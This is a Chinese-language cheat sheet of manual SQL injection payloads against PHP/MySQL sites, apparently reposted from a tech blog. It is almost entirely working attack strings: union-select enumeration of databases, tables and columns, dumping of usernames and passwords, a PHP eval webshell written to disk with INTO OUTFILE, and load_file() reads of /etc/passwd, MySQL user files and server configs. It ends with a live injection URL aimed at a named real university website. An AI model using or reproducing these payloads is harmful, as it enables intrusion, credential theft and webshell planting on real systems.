|
暴字段長度
Order by num/*
匹配字段
and 1=1 union select 1,2,3,4,5…….n/*
暴字段位置
and 1=2 union select 1,2,3,4,5…..n/*
利用內(nèi)置函數(shù)暴數(shù)據(jù)庫信息
version() database() user()
不用猜解可用字段暴數(shù)據(jù)庫信息(有些網(wǎng)站不適用):
and 1=2 union all select version() /*
and 1=2 union all select database() /*
and 1=2 union all select user() /*
操作系統(tǒng)信息:
and 1=2 union all select @@global.version_compile_os from mysql.user /*
數(shù)據(jù)庫權(quán)限:
and ord(mid(user(),1,1))=114 /* 返回正常說明為root
暴庫 (mysql>5.0)
Mysql 5 以上有內(nèi)置庫 information_schema,存儲著mysql的所有數(shù)據(jù)庫和表結(jié)構(gòu)信息
and 1=2 union select 1,2,3,SCHEMA_NAME,5,6,7,8,9,10 from information_schema.SCHEMATA limit 0,1
猜表
and 1=2 union select 1,2,3,TABLE_NAME,5,6,7,8,9,10 from information_schema.TABLES where TABLE_SCHEMA=數(shù)據(jù)庫(十六進制) limit 0(開始的記錄,0為第一個開始記錄),1(顯示1條記錄)―
猜字段
and 1=2 Union select 1,2,3,COLUMN_NAME,5,6,7,8,9,10 from information_schema.COLUMNS where TABLE_NAME=表名(十六進制)limit 0,1
暴密碼
and 1=2 Union select 1,2,3,用戶名段,5,6,7,密碼段,8,9 from 表名 limit 0,1
高級用法(一個可用字段顯示兩個數(shù)據(jù)內(nèi)容):
Union select 1,2,3concat(用戶名段,0x3c,密碼段),5,6,7,8,9 from 表名 limit 0,1
直接寫馬(Root權(quán)限)
條件:1、知道站點物理路徑
2、有足夠大的權(quán)限(可以用select …. from mysql.user測試)
3、magic_quotes_gpc()=OFF
select ‘<?php eval($_POST[cmd])?>' into outfile ‘物理路徑'
and 1=2 union all select 一句話HEX值 into outfile '路徑'
load_file() 常用路徑:
1、 replace(load_file(0×2F6574632F706173737764),0×3c,0×20)
2、replace(load_file(char(47,101,116,99,47,112,97,115,115,119,100)),char(60),char(32))
上面兩個是查看一個php文件里完全顯示代碼.有些時候不替換一些字符,如 “<” 替換成”空格” 返回的是網(wǎng)頁.而無法查看到代碼.
3、 load_file(char(47)) 可以列出FreeBSD,Sunos系統(tǒng)根目錄
4、/etc tpd/conf tpd.conf或/usr/local/apche/conf tpd.conf 查看linux APACHE虛擬主機配置文件
5、c:/Program Files/Apache Group/Apache/conf /httpd.conf 或C:/apache/conf /httpd.conf 查看WINDOWS系統(tǒng)apache文件
6、c:/Resin-3.0.14/conf/resin.conf 查看jsp開發(fā)的網(wǎng)站 resin文件配置信息.
7、c:/Resin/conf/resin.conf /usr/local/resin/conf/resin.conf 查看linux系統(tǒng)配置的JSP虛擬主機
8、d:/APACHE/Apache2/conf/httpd.conf
9、C:/Program Files/mysql/my.ini
10、../themes/darkblue_orange/layout.inc.php phpmyadmin 爆路徑
11、 c:/windows/system32/iNETsrv/MetaBase.xml 查看IIS的虛擬主機配置文件
12、 /usr/local/resin-3.0.22/conf/resin.conf 針對3.0.22的RESIN配置文件查看
13、 /usr/local/resin-pro-3.0.22/conf/resin.conf 同上
14 、/usr/local/app/apache2/conf/extra tpd-vhosts.conf APASHE虛擬主機查看
15、 /etc/sysconfig/iptables 本看防火墻策略
16 、 usr/local/app/php5 b/php.ini php 的相當設(shè)置
17 、/etc/my.cnf MYSQL的配置文件
18、 /etc/redhat-release 紅帽子的系統(tǒng)版本
19 、C:/mysql/data/mysql/user.MYD 存在MYSQL系統(tǒng)中的用戶密碼
20、/etc/sysconfig/NETwork-scripts/ifcfg-eth0 查看IP.
21、/usr/local/app/php5 b/php.ini //php相關(guān)設(shè)置
22、/usr/local/app/apache2/conf/extra tpd-vhosts.conf //虛擬網(wǎng)站設(shè)置
23、C:/Program Files/RhinoSoft.com/Serv-U/ServUDaemon.ini
24、c:/windows/my.ini
25、c:/boot.ini
網(wǎng)站常用配置文件 config.inc.php、config.php。load_file()時要用replace(load_file(HEX),char(60),char(32))
注:
Char(60)表示 <
Char(32)表示 空格
手工注射時出現(xiàn)的問題:
當注射后頁面顯示:
Illegal mix of collations (latin1_swedish_ci,IMPLICIT) and (utf8_general_ci,IMPLICIT) for operation 'UNION'
如:http://www.mse.tsinghua.edu.cn/mse/research/instrument.php?ID=13%20and%201=2%20union%20select%201,load_file(0x433A5C626F6F742E696E69),3,4,user()%20
這是由于前后編碼不一致造成的,
解決方法:在參數(shù)前加上 unhex(hex(參數(shù)))就可以了。上面的URL就可以改為:
http://www.mse.tsinghua.edu.cn/mse/research/instrument.php?ID=13%20and%201=2%20union%20select%201,unhex(hex(load_file(0x433A5C626F6F742E696E69))),3,4,unhex(hex(user()))%20
既可以繼續(xù)注射了。。。
php技術(shù):PHP+MySQL 手工注入語句大全 推薦,轉(zhuǎn)載需保留來源!
鄭重聲明:本文版權(quán)歸原作者所有,轉(zhuǎn)載文章僅為傳播更多信息之目的,如作者信息標記有誤,請第一時間聯(lián)系我們修改或刪除,多謝。